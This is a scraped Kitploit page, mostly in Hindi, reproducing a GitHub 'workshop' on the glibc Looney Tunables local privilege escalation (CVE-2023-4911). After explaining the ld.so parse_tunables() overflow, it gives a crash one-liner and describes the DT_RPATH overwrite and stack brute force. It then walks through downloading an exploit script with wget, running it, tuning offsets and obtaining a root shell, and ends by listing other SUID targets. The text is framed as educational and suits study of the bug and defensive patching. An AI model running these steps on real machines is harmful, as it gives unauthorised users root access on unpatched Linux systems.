Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-4911 — Looney Tunables Local privilege escalation (CVE-2023-4911) workshop | Kitploit
उपकरण/GitHubGitHub/kernelkrise/cve-2023-4911
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & PracticeArchived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

Looney Tunables Local privilege escalation (CVE-2023-4911) workshop

रिपॉजिटरी देखें
1831 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-4911-Looney-Tunables

Looney Tunables Local privilege escalation (CVE-2023-4911) workshop (for educational purposes only)

लिंक:

  • IPPSEC वीडियो
  • Qualsys ब्लॉग पोस्ट
  • Qualsys तकनीकी विवरण
  • एक्सप्लॉइट POC पायथन स्क्रिप्ट
  • GLIBC स्रोत
  • GLIBC tunables दस्तावेज़ीकरण

विवरण

ld.so क्या है?

कंप्यूटिंग में, एक डायनामिक लिंकर ऑपरेटिंग सिस्टम का वह हिस्सा है जो एक्ज़ीक्यूटेबल के चलने पर उसके लिए आवश्यक शेर्ड लाइब्रेरीज़ को लोड और लिंक करता है, लाइब्रेरीज़ की सामग्री को स्थायी स्टोरेज से RAM में कॉपी करके, जंप टेबल भरकर और पॉइंटर्स को रीलोकेट करके।

उदाहरण के लिए, हमारे पास एक प्रोग्राम है जो md5 हैश की गणना करने के लिए openssl लाइब्रेरी का उपयोग करता है:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

root@kitploit:~
ld.so बाइनरी को पार्स करता है और <openssl/md5.h> से संबंधित लाइब्रेरी खोजने का प्रयास करता है।```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

जैसा कि हम देख सकते हैं, यह आवश्यक क्रिप्टो लाइब्रेरी को /lib/x86_64-linux-gnu/libcrypto.so.3 पर ढूंढता है। प्रोग्राम स्टार्टअप के दौरान, यह इस लाइब्रेरी के कोड को प्रोसेस RAM में डालता है और इस लाइब्रेरी के सभी संदर्भों को लिंक करता है।

सारांश

जब कोई प्रोग्राम प्रारंभ किया जाता है, यह लोडर सबसे पहले प्रोग्राम की जांच करता है कि उसे किन साझा लाइब्रेरियों की आवश्यकता है। फिर यह इन लाइब्रेरियों की खोज करता है, उन्हें मेमोरी में लोड करता है, और उन्हें रनटाइम पर एक्ज़ीक्यूटेबल से लिंक करता है। इस प्रक्रिया में, डायनेमिक लोडर प्रतीक संदर्भों, जैसे फ़ंक्शन और वेरिएबल संदर्भों, को हल करता है, यह सुनिश्चित करता है कि प्रोग्राम के निष्पादन के लिए सब कुछ सेट है। इसकी भूमिका को देखते हुए, डायनेमिक लोडर अत्यधिक सुरक्षा-संवेदनशील है, क्योंकि जब कोई स्थानीय उपयोगकर्ता set-user-ID या set-group-ID प्रोग्राम चलाता है तो इसका कोड उन्नत विशेषाधिकारों के साथ चलता है।

GLIBC Tunables क्या हैं?

Tunables, GNU C Library की एक सुविधा है जो एप्लिकेशन लेखकों और वितरण अनुरक्षकों को अपने कार्यभार के अनुरूप रनटाइम लाइब्रेरी व्यवहार को बदलने की अनुमति देता है। इन्हें स्विचों के एक सेट के रूप में कार्यान्वित किया गया है जिन्हें विभिन्न तरीकों से संशोधित किया जा सकता है। ऐसा करने की वर्तमान डिफ़ॉल्ट विधि GLIBC_TUNABLES पर्यावरण चर के माध्यम से है, जिसमें इसे colon-पृथक name=value जोड़े के एक स्ट्रिंग पर सेट किया जाता है। उदाहरण के लिए, निम्नलिखित उदाहरण malloc जाँच को सक्षम करता है और malloc ट्रिम थ्रेशोल्ड को 128 बाइट्स पर सेट करता है:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

root@kitploit:~
डायनामिक लोडर को --list-tunables पास करके सभी ट्यूनेबल्स को न्यूनतम और अधिकतम मानों के साथ प्रिंट करना:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

भेद्यता विवरण

अपने निष्पादन की शुरुआत में, ld.so पर्यावरण (पंक्ति 279) में से गुज़रने के लिए __tunables_init() को कॉल करता है, GLIBC_TUNABLES चर (पंक्ति 282) की खोज करता है; प्रत्येक GLIBC_TUNABLES के लिए जो वह पाता है, वह इस चर की एक प्रति बनाता है (पंक्ति 284), इस प्रति को संसाधित और स्वच्छ करने के लिए parse_tunables() को कॉल करता है (पंक्ति 286), और अंततः मूल GLIBC_TUNABLES को इस स्वच्छ प्रति से बदल देता है (पंक्ति 288):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

root@kitploit:~
The first argument of parse_tunables() (tunestr) points to the soon-to-be-sanitized copy of GLIBC_TUNABLES, while the second argument (valstring) points to the original GLIBC_TUNABLES environment variable (in the stack). To sanitize the copy of GLIBC_TUNABLES (which should be of the form "tunable1=`aaa:tunable2=bbb"`), parse_tunables() removes all dangerous tunables (the SXID_ERASE tunables) from tunestr, but keeps SXID_IGNORE and NONE tunables (at lines 221-235):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

दुर्भाग्य से, यदि एक GLIBC_TUNABLES पर्यावरण चर फॉर्म "tunable1=tunable2=AAA" का है (जहाँ "tunable1" और "tunable2" SXID_IGNORE ट्यूनेबल्स हैं, उदाहरण के लिए "glibc.malloc.mxfast"), तो:

  • parse_tunables() में "while (true)" के पहली पुनरावृत्ति के दौरान, पूरा "tunable1=tunable2=AAA" जगह-जगह tunestr में कॉपी हो जाता है (पंक्तियाँ 221-235 पर), इस प्रकार tunestr भर जाता है;

  • पंक्तियाँ 247-248 पर, p बढ़ाया नहीं जाता है (p[len] '\0' है क्योंकि पंक्तियाँ 203-204 पर कोई ':' नहीं मिला) और इसलिए p अभी भी "tunable1" के मान, अर्थात "tunable2=AAA" पर इंगित करता है;

  • parse_tunables() में "while (true)" के दूसरी पुनरावृत्ति के दौरान, "tunable2=AAA" (जैसे कि यह दूसरा ट्यूनेबल हो) tunestr (जो पहले से भरा हुआ है) में जोड़ दिया जाता है, इस प्रकार tunestr ओवरफ्लो हो जाता है।

PoC

कमांड:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

root@kitploit:~
पेलोड:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

शोषण

यह भेद्यता एक सीधा-सादा बफर ओवरफ्लो है, लेकिन मनमाना कोड निष्पादन प्राप्त करने के लिए हमें क्या ओवरराइट करना चाहिए? जिस बफर को हम ओवरफ्लो करते हैं वह पंक्ति 284 पर tunables_strdup() द्वारा आवंटित किया जाता है, जो strdup() का पुनः कार्यान्वयन है जो glibc के malloc() के बजाय ld.so के __minimal_malloc() का उपयोग करता है (वास्तव में, glibc का malloc() अभी तक प्रारंभ नहीं हुआ है)। यह __minimal_malloc() कार्यान्वयन कर्नेल से अधिक मेमोरी प्राप्त करने के लिए बस mmap() को कॉल करता है।

आइए इस कोड पर एक नज़र डालें:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */

root@kitploit:~
##### Overwriting pointers of the soon-to-be-allocated link_map structure
>ld.so इस link_map संरचना के लिए मेमोरी calloc() के साथ आवंटित करता है, और इसलिए इसके विभिन्न सदस्यों को शून्य पर स्पष्ट रूप से प्रारंभ नहीं करता है; यह एक उचित अनुकूलन है। जैसा कि पहले उल्लेख किया गया है, यहाँ calloc() glibc का calloc() नहीं है बल्कि ld.so का __minimal_calloc() है, जो __minimal_malloc() को कॉल करता है *बिना* वापस आई मेमोरी को शून्य पर स्पष्ट रूप से प्रारंभ किए; यह भी एक उचित अनुकूलन है, क्योंकि सभी व्यावहारिक उद्देश्यों के लिए __minimal_malloc() हमेशा mmap()ed मेमोरी का एक साफ हिस्सा लौटाता है, जिसे कर्नेल द्वारा शून्य पर प्रारंभ किए जाने की गारंटी है।
>
> दुर्भाग्य से, parse_tunables() में बफर ओवरफ्लो हमें साफ mmap()ed मेमोरी को गैर-शून्य बाइट्स से ओवरराइट करने की अनुमति देता है, जिससे जल्द ही आवंटित किए जाने वाले link_map संरचना के पॉइंटर्स को गैर-NULL मानों से ओवरराइट किया जा सकता है। यह हमें ld.so के तर्क को पूरी तरह से तोड़ने की अनुमति देता है, जो मानता है कि ये पॉइंटर्स NULL हैं।

#### ओवरफ्लो विचार
> हमने महसूस किया कि link_map संरचना में कई और पॉइंटर्स स्पष्ट रूप से NULL पर प्रारंभ नहीं किए जाते हैं; विशेष रूप से, l_info[] पॉइंटर्स की सरणी में Elf64_Dyn संरचनाओं के पॉइंटर्स। इनमें से, `l_info[DT_RPATH]`, "लाइब्रेरी सर्च पथ", तुरंत सामने आया: यदि हम इस पॉइंटर को ओवरराइट करते हैं और नियंत्रित करते हैं कि यह कहाँ और क्या इंगित करता है, तो हम ld.so को हमारे स्वामित्व वाली निर्देशिका पर भरोसा करने के लिए मजबूर कर सकते हैं, और इसलिए इस निर्देशिका से हमारी अपनी libc.so.6 या LD_PRELOAD लाइब्रेरी लोड कर सकते हैं, और मनमाना कोड निष्पादित कर सकते हैं (रूट के रूप में, यदि हम ld.so को SUID-रूट प्रोग्राम के माध्यम से चलाते हैं)।

> ओवरराइट किए गए `l_info[DT_RPATH]` को कहाँ इंगित करना चाहिए? इस प्रश्न का सरल उत्तर है: स्टैक; अधिक सटीक रूप से, स्टैक में हमारे एनवायरनमेंट स्ट्रिंग्स। Linux पर, स्टैक 16GB क्षेत्र में यादृच्छिक किया जाता है, और हमारे एनवायरनमेंट स्ट्रिंग्स अधिकतम 6MB तक घेर सकते हैं (_STK_LIM / 4 * 3, कर्नेल के bprm_stack_limits() में): 16GB / 6MB = 2730 प्रयासों के बाद हमारे पास अपने एनवायरनमेंट स्ट्रिंग्स के पते का अनुमान लगाने का अच्छा मौका है (हमारे एक्सप्लॉइट में, हम हमेशा `l_info[DT_RPATH]` को 0x7ffdfffff010, यादृच्छिक स्टैक क्षेत्र के केंद्र से ओवरराइट करते हैं)। हमारे परीक्षणों में, यह ब्रूट फोर्स Debian पर ~30s, और Ubuntu और Fedora पर ~5m लेता है (उनके स्वचालित क्रैश हैंडलर, Apport और ABRT के कारण; हमने इस मंदी के आसपास काम करने का प्रयास नहीं किया है)।

> ओवरराइट किए गए l_info[DT_RPATH] को क्या इंगित करना चाहिए? 
> हमारे एक्सप्लॉइट में, हम बस अपने 6MB एनवायरनमेंट स्ट्रिंग्स को 0xfffffffffffffff8 (-8) से भरते हैं, क्योंकि अधिकांश SUID-रूट प्रोग्रामों के स्ट्रिंग टेबल से -8B के ऑफसेट पर, स्ट्रिंग "\x08" दिखाई देती है: यह ld.so को "\x08" नामक एक सापेक्ष निर्देशिका (हमारे वर्तमान कार्यशील निर्देशिका में) पर भरोसा करने के लिए मजबूर करता है, और इसलिए हमें इस निर्देशिका से अपनी खुद की libc.so.6 या LD_PRELOAD लाइब्रेरी को रूट के रूप में लोड और निष्पादित करने की अनुमति देता है।

Scheme:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### .DYNSTR में ऑफसेट -8 पर "\x08" बाइट:
!["\x08" बाइट xxd में](https://assets.kitploit.com/production/public/readmes/37285/f7e47c7603cfe523799c8ebc0bf1265caaeb0dcf3924bf92cea7f204127490bf.png)

## PoC LPE:
मैं अपने पुराने kali linux स्नैपशॉट का उपयोग PoC का परीक्षण करने के लिए कर रहा हूँ। आइए जाँचें कि क्या यह असुरक्षित है:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1]    7995 segmentation fault  env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"  /usr/bin/s

हमें SIGSEGV मिला, इसलिए हमारा सिस्टम इस CVE LPE के प्रति संवेदनशील है! आइए PoC स्क्रिप्ट डाउनलोड करें और इसका परीक्षण करें:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py

[~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3

root@kitploit:~
तो, हमारा ld.so build id लक्ष्यों की सूची में नहीं है, चलिए इसे ठीक करते हैं!
ASLR अक्षम करें:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

फिर से जाँच करें:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568

root@kitploit:~
तो, हमारा POC स्क्रिप्ट कुछ उपयोगी ऑफसेट ढूंढता है, चलिए अपने ld.so बिल्ड आईडी और ऑफसेट को स्क्रिप्ट में जोड़ते हैं:
![TARGETS set in code](https://assets.kitploit.com/production/public/readmes/37285/3a1ab26b738c731b061b05bd2515afa9cc41b4d23158f37daa27a05d8a86f4ad.png)
ASLR लौटाएं:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"

चलिए फिर से PoC script आज़माते हैं:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

whoami root

id

uid=0(root)

root@kitploit:~
यह काम करता है!

यह अन्य SUID फ़ाइलों के साथ भी काम करता है:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>
टूल डाउनलोड करें